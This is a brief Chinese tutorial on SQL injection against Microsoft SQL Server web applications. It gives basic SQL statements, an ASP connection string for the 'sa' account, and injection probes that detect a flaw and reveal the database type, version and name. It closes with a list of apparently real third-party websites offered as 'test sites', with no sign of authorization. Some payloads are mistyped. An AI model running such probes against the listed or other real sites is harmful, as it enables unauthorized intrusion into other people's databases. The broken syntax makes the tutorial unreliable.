web安全-理论+实战SQL注入漏洞

理论+实战SQL注入漏洞

（1433是Mssql端口）

基本语句：

• Select*from 表名 查询表内所有内容
• CREATE DATABASE database-name 创建数据库
• drop database dbname 删除数据库

调用代码

<%

set conn =server.createobject(” adodb.connection”)

conn.open  “provider= sqloledb;source= local;uid= sa;pwd = ****database= database-name”

%>

其中，provider后面的不用管，照写; source后面的可以是ip地址，这里我用的是本地的; sa是内置的用户,它的密码是你在安装的时候设置的;database后面是你要连接的数据库的名称，例:mydatabase(不需扩展名)。

注入语句

• 判断是否有注入（and 1=1 ;and 1=2）
• 初步判断是否是mssql（and user>0）
• 判断数据库系统and（select cout（*）from sysobjects）> 0 mssql
• 数据库版本 id=1 and 1(select@@version)
• 当前使用的数据库 id=1 and 1=(select db_name())

测试站点

http://jsjx.hnjdzy.net/ https://www.szclou.com/ http://www.hnagri.com/index.html http://www.wh3z.cn/ http://www.jingluoyangsheng.cn/ http://www.southsurvey.com/ mysql4.0数据库 http://www.cowinbio.com/cw/index.php